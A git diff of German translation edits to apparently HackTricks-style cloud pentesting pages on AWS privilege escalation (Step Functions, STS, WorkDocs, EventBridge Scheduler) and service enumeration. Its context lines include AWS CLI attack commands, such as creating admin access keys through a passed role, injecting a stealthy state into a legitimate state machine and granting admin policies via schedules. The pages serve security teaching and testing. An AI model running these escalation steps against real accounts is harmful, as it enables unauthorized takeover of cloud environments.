Eskalation von Berechtigungen durchzuführen. +Diese Privilegieneskalationstechniken erfordern die Nutzung einiger AWS Step Function-Ressourcen, um die gewünschten Privilegieneskalationsaktionen durchzuführen. Um alle möglichen Aktionen zu überprüfen, könntest du zu deinem eigenen AWS-Konto gehen, die Aktion auswählen, die du verwenden möchtest, und die verwendeten Parameter einsehen, wie in:
-Oder du könntest auch zur API-Dokumentation von AWS gehen und die Dokumentation zu jeder Aktion überprüfen: +Oder du könntest auch zur API-AWS-Dokumentation gehen und die Dokumentation zu jeder Aktion überprüfen: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -Ein Angreifer mit den Berechtigungen **`states:TestState`** & **`iam:PassRole`** kann jeden Zustand testen und jede IAM-Rolle an ihn übergeben, ohne eine vorhandene Zustandsmaschine zu erstellen oder zu aktualisieren, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rollen ermöglichen kann. Diese Berechtigungen können in Kombination zu umfangreichen unbefugten Aktionen führen, von der Manipulation von Workflows zur Datenänderung bis hin zu Datenlecks, Ressourcenmanipulation und Eskalation von Berechtigungen. +Ein Angreifer mit den Berechtigungen **`states:TestState`** & **`iam:PassRole`** kann jeden Zustand testen und jede IAM-Rolle an ihn übergeben, ohne eine vorhandene Zustandsmaschine zu erstellen oder zu aktualisieren, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rollen ermöglichen kann. Diese Berechtigungen können in Kombination zu umfangreichen unbefugten Aktionen führen, von der Manipulation von Workflows zur Datenänderung bis hin zu Datenlecks, Ressourcenmanipulation und Privilegieneskalation. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Die folgenden Beispiele zeigen, wie man einen Zustand testet, der einen Zugriffsschlüssel für den **`admin`**-Benutzer erstellt, indem diese Berechtigungen und eine großzügige Rolle der AWS-Umgebung genutzt werden. Diese großzügige Rolle sollte eine hochprivilegierte Richtlinie zugeordnet haben (zum Beispiel **`arn:aws:iam::aws:policy/AdministratorAccess`**), die es dem Zustand ermöglicht, die Aktion **`iam:CreateAccessKey`** auszuführen: +Die folgenden Beispiele zeigen, wie man einen Zustand testet, der einen Zugriffsschlüssel für den **`admin`**-Benutzer erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung genutzt werden. Diese permissive Rolle sollte mit einer hochprivilegierten Richtlinie verknüpft sein (zum Beispiel **`arn:aws:iam::aws:policy/AdministratorAccess`**), die es dem Zustand erlaubt, die Aktion **`iam:CreateAccessKey`** auszuführen: - **stateDefinition.json**: ```json @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Ein Angreifer mit **`states:CreateStateMachine`** & **`iam:PassRole`** wäre in der Lage, eine Zustandsmaschine zu erstellen und ihr jede IAM-Rolle zuzuweisen, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rolle ermöglicht. Im Gegensatz zur vorherigen Privilegieneskalationstechnik (**`states:TestState`** & **`iam:PassRole`**) wird diese nicht von selbst ausgeführt; Sie müssen auch die Berechtigungen **`states:StartExecution`** oder **`states:StartSyncExecution`** haben (**`states:StartSyncExecution`** ist **nicht für Standard-Workflows verfügbar**, **nur für Ausdruckszustandsmaschinen**) um eine Ausführung über die Zustandsmaschine zu starten. +Ein Angreifer mit **`states:CreateStateMachine`** & **`iam:PassRole`** wäre in der Lage, eine Zustandsmaschine zu erstellen und ihr jede IAM-Rolle zuzuweisen, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rolle ermöglicht. Im Gegensatz zur vorherigen Privilegieneskalationstechnik (**`states:TestState`** & **`iam:PassRole`**) wird diese nicht von selbst ausgeführt; Sie benötigen auch die Berechtigungen **`states:StartExecution`** oder **`states:StartSyncExecution`** (**`states:StartSyncExecution`** ist **nicht für Standard-Workflows verfügbar**, **nur für Ausdruckszustandsmaschinen**) um eine Ausführung über die Zustandsmaschine zu starten. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -138,7 +138,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 ### `states:UpdateStateMachine` & (nicht immer erforderlich) `iam:PassRole` -Ein Angreifer mit der Berechtigung **`states:UpdateStateMachine`** wäre in der Lage, die Definition einer Zustandsmaschine zu ändern und zusätzliche stealthy Zustände hinzuzufügen, die in einer Privilegieneskalation enden könnten. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der Zustandsmaschine startet, dieser neue bösartige stealth Zustand ausgeführt und die Privilegieneskalation erfolgreich sein. +Ein Angreifer mit der Berechtigung **`states:UpdateStateMachine`** könnte die Definition einer Zustandsmaschine ändern und zusätzliche stealthy Zustände hinzufügen, die zu einer Privilegieneskalation führen könnten. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der Zustandsmaschine startet, dieser neue bösartige stealth Zustand ausgeführt und die Privilegieneskalation erfolgreich sein. Je nachdem, wie permissiv die mit der Zustandsmaschine verbundene IAM-Rolle ist, würde ein Angreifer mit 2 Situationen konfrontiert werden: @@ -218,7 +218,7 @@ Die folgenden Beispiele zeigen, wie man eine legitime Zustandsmaschine aktualisi {{#endtab }} {{#endtabs }} -- **Befehl** ausgeführt, um **die legitime Zustandsmaschine** **zu aktualisieren**: +- **Befehl** ausgeführt, um **die legitime Zustandsmaschine** zu **aktualisieren**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 81e6919a2..dbfbd327c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -8,7 +8,7 @@ Jede Rolle wird mit einer **Rollenvertrauensrichtlinie** erstellt, diese Richtlinie gibt an, **wer die erstellte Rolle übernehmen kann**. Wenn eine Rolle aus dem **gleichen Konto** angibt, dass ein Konto sie übernehmen kann, bedeutet das, dass das Konto Zugriff auf die Rolle (und potenziell **privesc**) haben wird. -Zum Beispiel zeigt die folgende Rollenvertrauensrichtlinie an, dass jeder sie übernehmen kann, daher wird **jeder Benutzer in der Lage sein, privesc** zu den mit dieser Rolle verbundenen Berechtigungen zu erlangen. +Zum Beispiel zeigt die folgende Rollenvertrauensrichtlinie an, dass jeder sie übernehmen kann, daher wird **jeder Benutzer in der Lage sein, privesc** zu den mit dieser Rolle verbundenen Berechtigungen zu erhalten. ```json { "Version": "2012-10-17", @@ -23,11 +23,11 @@ Zum Beispiel zeigt die folgende Rollenvertrauensrichtlinie an, dass jeder sie ü ] } ``` -Du kannst eine Rolle nachahmen, indem du Folgendes ausführst: +Sie können eine Rolle übernehmen, indem Sie Folgendes ausführen: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` -**Potenzielle Auswirkungen:** Privesc zur Rolle. +**Potenzielle Auswirkungen:** Privesc auf die Rolle. > [!CAUTION] > Beachten Sie, dass in diesem Fall die Berechtigung `sts:AssumeRole` **in der Rolle angegeben werden muss, die missbraucht werden soll** und nicht in einer Richtlinie, die dem Angreifer gehört.\ @@ -82,22 +82,22 @@ Um Anmeldeinformationen zu generieren, um die Rolle zu impersonieren, könnten S ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` -Aber **Anbieter** könnten ihre **eigenen Werkzeuge** haben, um dies zu erleichtern, wie [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +Aber **Anbieter** könnten ihre **eigenen Tools** haben, um dies zu erleichtern, wie [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` -**Potenzielle Auswirkungen:** Privesc zur Rolle. +**Potenzielle Auswirkungen:** Privesc auf die Rolle. ### `sts:AssumeRoleWithWebIdentity` Diese Berechtigung gewährt die Erlaubnis, ein Set von temporären Sicherheitsanmeldeinformationen für **Benutzer, die in einer mobilen, Webanwendung, EKS...** mit einem Web-Identitätsanbieter authentifiziert wurden, zu erhalten. [Hier mehr erfahren.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) -Wenn beispielsweise ein **EKS-Dienstkonto** in der Lage sein sollte, **eine IAM-Rolle zu impersonifizieren**, hat es ein Token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** und kann **die Rolle annehmen und Anmeldeinformationen erhalten**, indem es etwas wie Folgendes tut: +Zum Beispiel, wenn ein **EKS-Dienstkonto** in der Lage sein sollte, **eine IAM-Rolle zu impersonifizieren**, wird es ein Token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** haben und kann **die Rolle annehmen und Anmeldeinformationen erhalten**, indem es etwas wie Folgendes tut: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` -### Föderationsmissbrauch +### Missbrauch von Föderationen {{#ref}} ../aws-basic-information/aws-federation-abuse.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index d4fb4fe61..481b14e26 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -15,7 +15,7 @@ Erstellen Sie einen Benutzer im angegebenen Verzeichnis, dann haben Sie Zugriff # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` Die Dateien könnten sensible Informationen enthalten, lesen Sie sie: ```bash @@ -41,6 +41,6 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo Sie können einen Benutzer zum Administrator machen, indem Sie ihn in die Gruppe ZOCALO_ADMIN setzen.\ Befolgen Sie dazu die Anweisungen von [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) -Melden Sie sich mit diesem Benutzer in Workdoc an und greifen Sie auf das Administrationspanel unter `/workdocs/index.html#/admin` zu. +Melden Sie sich mit diesem Benutzer in Workdocs an und greifen Sie auf das Administrationspanel unter `/workdocs/index.html#/admin` zu. Ich habe keine Möglichkeit gefunden, dies über die CLI zu tun. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index b52fd774f..11e655a30 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -Weitere Informationen zum EventBridge Scheduler finden Sie in: +Weitere Informationen zum EventBridge Scheduler in: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,7 +12,7 @@ Weitere Informationen zum EventBridge Scheduler finden Sie in: ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -Ein Angreifer mit diesen Berechtigungen kann **`einen`|`aktualisieren` einen Scheduler erstellen und die Berechtigungen der an ihn angehängten Scheduler-Rolle missbrauchen**, um jede Aktion auszuführen. +Ein Angreifer mit diesen Berechtigungen kann **`einen`|`einen` Scheduler erstellen und die Berechtigungen der an ihn angehängten Scheduler-Rolle missbrauchen**, um jede Aktion auszuführen. Zum Beispiel könnten sie den Zeitplan so konfigurieren, dass er **eine Lambda-Funktion aufruft**, was eine vorgefertigte Aktion ist: ```bash @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -Zusätzlich zu den vorgefertigten Dienstaktionen können Sie **universelle Ziele** im EventBridge Scheduler verwenden, um eine Vielzahl von API-Operationen für viele AWS-Dienste aufzurufen. Universelle Ziele bieten die Flexibilität, fast jede API aufzurufen. Ein Beispiel kann die Verwendung universeller Ziele sein, um "**AdminAccessPolicy**" hinzuzufügen, indem eine Rolle verwendet wird, die die "**putRolePolicy**"-Richtlinie hat: +Neben den vorgefertigten Dienstaktionen können Sie **universelle Ziele** im EventBridge Scheduler verwenden, um eine Vielzahl von API-Operationen für viele AWS-Dienste aufzurufen. Universelle Ziele bieten die Flexibilität, nahezu jede API aufzurufen. Ein Beispiel könnte die Verwendung universeller Ziele sein, um "**AdminAccessPolicy**" hinzuzufügen, indem eine Rolle verwendet wird, die die Berechtigung "**putRolePolicy**" hat: ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index 94d74223a..d6e454787 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -10,18 +10,18 @@ Dienste, die unter Containerdiensten fallen, haben die folgenden Eigenschaften: - Der Dienst selbst läuft auf **separaten Infrastrukturinstanzen**, wie EC2. - **AWS** ist verantwortlich für **die Verwaltung des Betriebssystems und der Plattform**. -- Ein verwalteter Dienst wird von AWS bereitgestellt, der typischerweise der Dienst selbst für die **tatsächlichen Anwendungen, die als Container angesehen werden**. +- Ein verwalteter Dienst wird von AWS bereitgestellt, der typischerweise der Dienst selbst für die **tatsächlichen Anwendungen ist, die als Container angesehen werden**. - Als Benutzer dieser Containerdienste haben Sie eine Reihe von Verwaltungs- und Sicherheitsverantwortlichkeiten, einschließlich **der Verwaltung der Netzwerksicherheit, wie z.B. Regeln für Netzwerkzugriffskontrolllisten und Firewalls**. -- Auch Identitäts- und Zugriffsmanagement auf Plattformebene, wo es existiert. +- Auch das Identitäts- und Zugriffsmanagement auf Plattformebene, wo es existiert. - **Beispiele** für AWS-Containerdienste sind Relational Database Service, Elastic Mapreduce und Elastic Beanstalk. ### Abstrakte Dienste -- Diese Dienste sind **entfernt, abstrahiert, von der Plattform- oder Verwaltungsschicht, auf der Cloud-Anwendungen aufgebaut sind**. -- Die Dienste werden über Endpunkte unter Verwendung von AWS-Anwendungsprogrammierschnittstellen, APIs, aufgerufen. +- Diese Dienste sind **entfernt, abstrahiert, von der Plattform- oder Verwaltungsebene, auf der Cloud-Anwendungen aufgebaut sind**. +- Die Dienste werden über Endpunkte unter Verwendung von AWS-Anwendungsprogrammierschnittstellen, APIs, zugegriffen. - Die **unterliegende Infrastruktur, das Betriebssystem und die Plattform werden von AWS verwaltet**. - Die abstrahierten Dienste bieten eine Multi-Tenancy-Plattform, auf der die unterliegende Infrastruktur geteilt wird. -- **Daten werden über Sicherheitsmechanismen isoliert**. +- **Daten sind über Sicherheitsmechanismen isoliert**. - Abstrakte Dienste haben eine starke Integration mit IAM, und **Beispiele** für abstrakte Dienste sind S3, DynamoDB, Amazon Glacier und SQS. ## Dienste Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index b7b5bf1c0..12e45f5c0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -4,26 +4,26 @@ ## API Gateway -### Grundlegende Informationen +### Grundinformationen -AWS API Gateway ist ein umfassender Dienst, der von Amazon Web Services (AWS) angeboten wird und für Entwickler konzipiert ist, um **APIs in großem Maßstab zu erstellen, zu veröffentlichen und zu überwachen**. Es fungiert als Einstiegspunkt zu einer Anwendung und ermöglicht es Entwicklern, einen Rahmen von Regeln und Verfahren festzulegen. Dieser Rahmen regelt den Zugriff externer Benutzer auf bestimmte Daten oder Funktionen innerhalb der Anwendung. +AWS API Gateway ist ein umfassender Dienst, der von Amazon Web Services (AWS) angeboten wird und Entwicklern hilft, **APIs in großem Maßstab zu erstellen, zu veröffentlichen und zu überwachen**. Es fungiert als Einstiegspunkt zu einer Anwendung und ermöglicht es Entwicklern, einen Rahmen von Regeln und Verfahren festzulegen. Dieser Rahmen regelt den Zugriff externer Benutzer auf bestimmte Daten oder Funktionen innerhalb der Anwendung. -API Gateway ermöglicht es Ihnen, **zu definieren, wie Anfragen an Ihre APIs behandelt werden sollen**, und es kann benutzerdefinierte API-Endpunkte mit spezifischen Methoden (z. B. GET, POST, PUT, DELETE) und Ressourcen erstellen. Es kann auch Client-SDKs (Software Development Kits) generieren, um es Entwicklern zu erleichtern, Ihre APIs aus ihren Anwendungen heraus aufzurufen. +API Gateway ermöglicht es Ihnen, **wie Anfragen an Ihre APIs behandelt werden sollen**, und es kann benutzerdefinierte API-Endpunkte mit spezifischen Methoden (z. B. GET, POST, PUT, DELETE) und Ressourcen erstellen. Es kann auch Client-SDKs (Software Development Kits) generieren, um es Entwicklern zu erleichtern, Ihre APIs aus ihren Anwendungen heraus aufzurufen. -### API Gateway-Typen +### API Gateway Typen -- **HTTP API**: Erstellen Sie latenzarme und kostengünstige REST-APIs mit integrierten Funktionen wie OIDC und OAuth2 sowie nativer CORS-Unterstützung. Funktioniert mit: Lambda, HTTP-Backends. +- **HTTP API**: Erstellen Sie latenzarme und kosteneffiziente REST-APIs mit integrierten Funktionen wie OIDC und OAuth2 sowie nativer CORS-Unterstützung. Funktioniert mit: Lambda, HTTP-Backends. - **WebSocket API**: Erstellen Sie eine WebSocket-API mit persistenten Verbindungen für Echtzeitanwendungen wie Chat-Anwendungen oder Dashboards. Funktioniert mit: Lambda, HTTP, AWS-Diensten. -- **REST API**: Entwickeln Sie eine REST-API, bei der Sie die vollständige Kontrolle über die Anfrage und die Antwort sowie über die API-Verwaltungsmöglichkeiten haben. Funktioniert mit: Lambda, HTTP, AWS-Diensten. +- **REST API**: Entwickeln Sie eine REST-API, bei der Sie die vollständige Kontrolle über die Anfrage und die Antwort sowie über die API-Management-Funktionen haben. Funktioniert mit: Lambda, HTTP, AWS-Diensten. - **REST API Privat**: Erstellen Sie eine REST-API, die nur von innerhalb eines VPC zugänglich ist. ### Hauptkomponenten des API Gateway 1. **Ressourcen**: In API Gateway sind Ressourcen die Komponenten, die **die Struktur Ihrer API bilden**. Sie repräsentieren **die verschiedenen Pfade oder Endpunkte** Ihrer API und entsprechen den verschiedenen Aktionen, die Ihre API unterstützt. Eine Ressource ist jede Methode (z. B. GET, POST, PUT, DELETE) **innerhalb jedes Pfades** (/, oder /users, oder /user/{id}). 2. **Stufen**: Stufen in API Gateway repräsentieren **verschiedene Versionen oder Umgebungen** Ihrer API, wie Entwicklung, Staging oder Produktion. Sie können Stufen verwenden, um **mehrere Versionen Ihrer API gleichzeitig zu verwalten und bereitzustellen**, sodass Sie neue Funktionen oder Fehlerbehebungen testen können, ohne die Produktionsumgebung zu beeinträchtigen. Stufen unterstützen auch **Stufenvariablen**, die Schlüssel-Wert-Paare sind, die verwendet werden können, um das Verhalten Ihrer API basierend auf der aktuellen Stufe zu konfigurieren. Zum Beispiel könnten Sie Stufenvariablen verwenden, um API-Anfragen je nach Stufe an verschiedene Lambda-Funktionen oder andere Backend-Dienste weiterzuleiten. -- Die Stufe wird am Anfang der URL des API Gateway-Endpunkts angezeigt. +- Die Stufe wird zu Beginn der URL des API Gateway-Endpunkts angezeigt. 3. **Autorisierer**: Autorisierer in API Gateway sind verantwortlich für **die Kontrolle des Zugriffs auf Ihre API**, indem sie die Identität des Anrufers überprüfen, bevor sie die Anfrage zulassen. Sie können **AWS Lambda-Funktionen** als benutzerdefinierte Autorisierer verwenden, was es Ihnen ermöglicht, Ihre eigene Authentifizierungs- und Autorisierungslogik zu implementieren. Wenn eine Anfrage eingeht, übergibt API Gateway das Autorisierungstoken der Anfrage an den Lambda-Autorisierer, der das Token verarbeitet und eine IAM-Richtlinie zurückgibt, die bestimmt, welche Aktionen der Anrufer ausführen darf. API Gateway unterstützt auch **eingebaute Autorisierer**, wie **AWS Identity and Access Management (IAM)** und **Amazon Cognito**. -4. **Ressourcenrichtlinie**: Eine Ressourcenrichtlinie in API Gateway ist ein JSON-Dokument, das **die Berechtigungen für den Zugriff auf Ihre API definiert**. Sie ähnelt einer IAM-Richtlinie, ist jedoch speziell auf API Gateway zugeschnitten. Sie können eine Ressourcenrichtlinie verwenden, um zu steuern, wer auf Ihre API zugreifen kann, welche Methoden sie aufrufen können und von welchen IP-Adressen oder VPCs sie sich verbinden können. **Ressourcenrichtlinien können in Kombination mit Autorisierern verwendet werden**, um eine feingranulare Zugriffskontrolle für Ihre API bereitzustellen. +4. **Ressourcenrichtlinie**: Eine Ressourcenrichtlinie in API Gateway ist ein JSON-Dokument, das **die Berechtigungen für den Zugriff auf Ihre API definiert**. Sie ist ähnlich wie eine IAM-Richtlinie, aber speziell für API Gateway zugeschnitten. Sie können eine Ressourcenrichtlinie verwenden, um zu steuern, wer auf Ihre API zugreifen kann, welche Methoden sie aufrufen können und von welchen IP-Adressen oder VPCs sie sich verbinden können. **Ressourcenrichtlinien können in Kombination mit Autorisierern verwendet werden**, um eine feingranulare Zugriffskontrolle für Ihre API bereitzustellen. - Um die Wirkung zu erzielen, muss die API **nach der Änderung der Ressourcenrichtlinie erneut bereitgestellt werden**. ### Protokollierung @@ -33,7 +33,7 @@ Standardmäßig sind **CloudWatch Logs** **deaktiviert**, **Zugriffsprotokollier ### Enumeration > [!TIP] -> Beachten Sie, dass in beiden AWS-APIs zur Auflistung von Ressourcen (**`apigateway`** und **`apigatewayv2`**) die einzige Berechtigung, die Sie benötigen, und die einzige lesbare Berechtigung, die gewährt werden kann, **`apigateway:GET`** ist. Damit können Sie **alles auflisten.** +> Beachten Sie, dass in beiden AWS-APIs zur Auflistung von Ressourcen (**`apigateway`** und **`apigatewayv2`**) die einzige Berechtigung, die Sie benötigen, und die einzige lesbare Berechtigung, die gewährt werden kann, **`apigateway:GET`** ist; damit können Sie **alles auflisten.** {{#tabs }} {{#tab name="apigateway" }} @@ -145,17 +145,17 @@ Eine einfache Möglichkeit, das von der Anwendung erwartete Token zu generieren, ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` -Eine andere Möglichkeit besteht darin, den **`Authorization`**-Typ **`AWS Signature`** in **Postman** zu verwenden. +Eine andere Möglichkeit ist die Verwendung des **`Authorization`** Typs **`AWS Signature`** in **Postman**.
Setzen Sie den accessKey und den SecretKey des Kontos, das Sie verwenden möchten, und Sie können sich gegen den API-Endpunkt authentifizieren. -Beide Methoden generieren einen **Authorization**-**header** wie: +Beide Methoden generieren einen **Authorization** **header** wie: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` -Beachten Sie, dass in anderen Fällen der **Authorizer** möglicherweise **schlecht codiert** wurde und das Senden von **irgendetwas** im **Authorization-Header** **erlaubt, den versteckten Inhalt zu sehen**. +Beachten Sie, dass in anderen Fällen der **Authorizer** möglicherweise **schlecht codiert** wurde und das Senden von **irgendetwas** im **Authorization header** **es ermöglicht, den versteckten Inhalt zu sehen**. ### Request Signing Using Python ```python @@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` -### Custom Lambda Authorizer +### Benutzerdefinierter Lambda-Authorizer -Es ist möglich, eine Lambda zu verwenden, die basierend auf einem gegebenen Token eine **IAM-Richtlinie zurückgibt**, die angibt, ob der Benutzer **berechtigt ist, den API-Endpunkt aufzurufen**.\ +Es ist möglich, eine Lambda-Funktion zu verwenden, die basierend auf einem gegebenen Token eine **IAM-Richtlinie zurückgibt**, die angibt, ob der Benutzer **berechtigt ist, den API-Endpunkt aufzurufen**.\ Sie können jede Ressourcenmethode festlegen, die den Authorizer verwenden wird.
-Lambda Authorizer Code Example +Beispielcode für den Lambda-Authorizer ```python import json @@ -236,7 +236,7 @@ return policy ```
-Rufen Sie es mit etwas wie auf: +Rufen Sie es mit etwas wie Folgendem auf:
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 
@@ -256,7 +256,7 @@ Es ist möglich, API-Endpunkte festzulegen, die **einen gültigen API-Schlüssel Es ist möglich, API-Schlüssel im API Gateway-Portal zu generieren und sogar festzulegen, wie oft sie verwendet werden können (in Bezug auf Anfragen pro Sekunde und in Bezug auf Anfragen pro Monat). -Um einen API-Schlüssel funktionsfähig zu machen, müssen Sie ihn zu einem **Nutzungsplan** hinzufügen, dieser Nutzungsplan muss zur **API-Stufe** hinzugefügt werden und die zugehörige API-Stufe muss eine konfigurierte **Methoden-Drosselung** für den **Endpunkt** haben, der den API-Schlüssel benötigt: +Um einen API-Schlüssel funktionsfähig zu machen, müssen Sie ihn zu einem **Nutzungsplan** hinzufügen, dieser Nutzungsplan muss dem **API-Stadium** hinzugefügt werden und das zugehörige API-Stadium muss eine konfigurierte **Methoden-Drosselung** für den **Endpunkt** haben, der den API-Schlüssel benötigt:
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index e054e379d..c3f6f78e6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -8,7 +8,7 @@ Ein Hauptmerkmal von ACM ist die **automatische Erneuerung von Zertifikaten**, die den Verwaltungsaufwand erheblich reduziert. Darüber hinaus unterstützt ACM die Erstellung und zentrale Verwaltung von **privaten Zertifikaten für den internen Gebrauch**. Obwohl SSL/TLS-Zertifikate für integrierte AWS-Dienste wie Elastic Load Balancing, Amazon CloudFront und Amazon API Gateway ohne zusätzliche Kosten über ACM bereitgestellt werden, sind die Benutzer für die Kosten verantwortlich, die mit den AWS-Ressourcen verbunden sind, die von ihren Anwendungen genutzt werden, sowie für eine monatliche Gebühr für jede **private Certificate Authority (CA)** und private Zertifikate, die außerhalb integrierter ACM-Dienste verwendet werden. -**AWS Private Certificate Authority** wird als **verwalteter privater CA-Dienst** angeboten, der die Fähigkeiten von ACM erweitert, indem er das Zertifikatsmanagement um private Zertifikate ergänzt. Diese privaten Zertifikate sind entscheidend für die Authentifizierung von Ressourcen innerhalb einer Organisation. +**AWS Private Certificate Authority** wird als **verwalteter privater CA-Dienst** angeboten, der die Fähigkeiten von ACM erweitert, indem er die Zertifikatsverwaltung um private Zertifikate ergänzt. Diese privaten Zertifikate sind entscheidend für die Authentifizierung von Ressourcen innerhalb einer Organisation. ## Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 760d67786..9dc242a3c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -31,7 +31,7 @@ aws cloudformation list-stack-set-operation-results --stack-set-name --op ``` ### Privesc -In der folgenden Seite können Sie überprüfen, wie man **CloudFormation-Berechtigungen missbraucht, um Privilegien zu eskalieren**: +In der folgenden Seite kannst du überprüfen, wie man **CloudFormation-Berechtigungen missbraucht, um Privilegien zu eskalieren**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -39,11 +39,11 @@ In der folgenden Seite können Sie überprüfen, wie man **CloudFormation-Berech ### Post-Exploitation -Überprüfen Sie auf **Geheimnisse** oder sensible Informationen in der **Vorlage, den Parametern & Ausgaben** jeder CloudFormation +Überprüfe auf **Geheimnisse** oder sensible Informationen in der **Vorlage, den Parametern & Ausgaben** jeder CloudFormation ## Codestar -AWS CodeStar ist ein Dienst zum Erstellen, Verwalten und Arbeiten mit Softwareentwicklungsprojekten auf AWS. Sie können Anwendungen schnell auf AWS mit einem AWS CodeStar-Projekt entwickeln, erstellen und bereitstellen. Ein AWS CodeStar-Projekt erstellt und **integriert AWS-Dienste** für Ihre Projektentwicklungstoolchain. Abhängig von Ihrer Wahl der AWS CodeStar-Projektvorlage kann diese Toolchain Quellcodeverwaltung, Build, Bereitstellung, virtuelle Server oder serverlose Ressourcen und mehr umfassen. AWS CodeStar **verwaltet auch die für Projektbenutzer erforderlichen Berechtigungen** (genannt Teammitglieder). +AWS CodeStar ist ein Dienst zum Erstellen, Verwalten und Arbeiten an Softwareentwicklungsprojekten auf AWS. Du kannst schnell Anwendungen auf AWS mit einem AWS CodeStar-Projekt entwickeln, erstellen und bereitstellen. Ein AWS CodeStar-Projekt erstellt und **integriert AWS-Dienste** für deine Projektentwicklungstoolchain. Je nach Wahl der AWS 